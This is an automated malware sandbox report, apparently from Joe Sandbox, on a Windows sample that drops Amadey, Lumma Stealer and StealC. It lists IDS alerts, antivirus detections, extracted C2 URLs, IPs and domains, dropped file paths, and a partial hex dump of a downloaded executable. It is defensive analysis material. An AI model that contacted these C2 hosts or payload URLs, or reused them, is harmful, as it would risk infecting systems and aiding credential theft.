2024-11-21T07:11:41.824076+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50049	34.116.198.130	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:59.889354+0100	2057654	1	Domain Observed Used for C2 Detected	192.168.2.4	65134	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:15.933237+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.4	55490	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:48.335600+0100	2057658	1	Domain Observed Used for C2 Detected	192.168.2.4	51267	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:47.903604+0100	2057668	1	Domain Observed Used for C2 Detected	192.168.2.4	55405	1.1.1.1	53	UDP
2024-11-21T07:11:03.539745+0100	2057668	1	Domain Observed Used for C2 Detected	192.168.2.4	63971	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:28.464331+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49807	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:28.339450+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49807	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:28.798542+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49807	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:30.368499+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49807	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:28.929609+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49807	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:11:29.445202+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50009	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:27.880145+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49807	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:06.124402+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:16.305317+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:10.670131+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	185.215.113.16	80	TCP
2024-11-21T07:10:19.195592+0100	2803305	3	Unknown Traffic	192.168.2.4	49787	185.215.113.16	80	TCP
2024-11-21T07:10:27.718968+0100	2803305	3	Unknown Traffic	192.168.2.4	49810	185.215.113.16	80	TCP
2024-11-21T07:10:35.450473+0100	2803305	3	Unknown Traffic	192.168.2.4	49828	185.215.113.16	80	TCP
2024-11-21T07:10:45.804972+0100	2803305	3	Unknown Traffic	192.168.2.4	49881	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:31.153721+0100	2803304	3	Unknown Traffic	192.168.2.4	49807	185.215.113.206	80	TCP
2024-11-21T07:10:48.885288+0100	2803304	3	Unknown Traffic	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:50.912756+0100	2803304	3	Unknown Traffic	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:52.502135+0100	2803304	3	Unknown Traffic	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:53.413417+0100	2803304	3	Unknown Traffic	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:57.088293+0100	2803304	3	Unknown Traffic	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:10:58.858740+0100	2803304	3	Unknown Traffic	192.168.2.4	49867	185.215.113.206	80	TCP
2024-11-21T07:11:05.356216+0100	2803304	3	Unknown Traffic	192.168.2.4	49951	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllll	Avira URL Cloud: Label: malware
Source: https://befall-sm0ker.sbs/apia;w	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeR	Avira URL Cloud: Label: phishing
Source: https://librari-night.sbs/S	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeH	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php7864001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpcal	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1705854887.00000000005A1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 45de1d3aba.exe.3052.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: baacd96df2.exe.7936.9.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/68b591d6548ec281/nss3.dllll	Virustotal: Detection: 18%			Perma Link
Source: http://185.215.113.16/steam/random.exeR	Virustotal: Detection: 18%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF36C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

9_2_6BF36C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50050 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: baacd96df2.exe, 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: nss3.pdb@ source: baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 0000002C.00000003.2833120210.000001C4D294B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D2803000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: bec28015e3.exe, 0000001E.00000003.2723012441.0000000005020000.00000004.00001000.00020000.00000000.sdmp, bec28015e3.exe, 0000001E.00000002.2856964920.0000000000A22000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: mozglue.pdb source: baacd96df2.exe, 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmp

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 180MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.4:55490 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49780 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49807 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49807 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49807
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49807 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49807
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49807 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49821 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49803 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49823 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49875 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057668 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs) : 192.168.2.4:55405 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057697 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs) : 192.168.2.4:55405 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057658 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs) : 192.168.2.4:51267 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49895 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49918 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057654 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs) : 192.168.2.4:65134 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057655 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (befall-sm0ker .sbs in TLS SNI) : 192.168.2.4:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057668 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs) : 192.168.2.4:63971 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057697 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs) : 192.168.2.4:63971 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49952 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49968 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:49995 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50009 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50017 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50007 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50024 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50016 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.4:50050 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50049 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49895 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49895 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49780 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49780 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49821 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49821 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49995 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49968 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49995 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49968 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50009 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 06:10:10 GMTContent-Type: application/octet-streamContent-Length: 1901056Last-Modified: Thu, 21 Nov 2024 05:12:11 GMTConnection: keep-aliveETag: "673ec12b-1d0200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 be 00 00 00 00 00 00 00 00 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4b 00 00 04 00 00 30 c8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 60 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 60 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 80 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 6c 70 6e 64 74 6c 00 70 1a 00 00 80 30 00 00 68 1a 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 61 74 64 75 62 68 6e 00 10 00 00 00 f0 4a 00 00 04 00 00 00 dc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4b 00 00 22 00 00 00 e0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 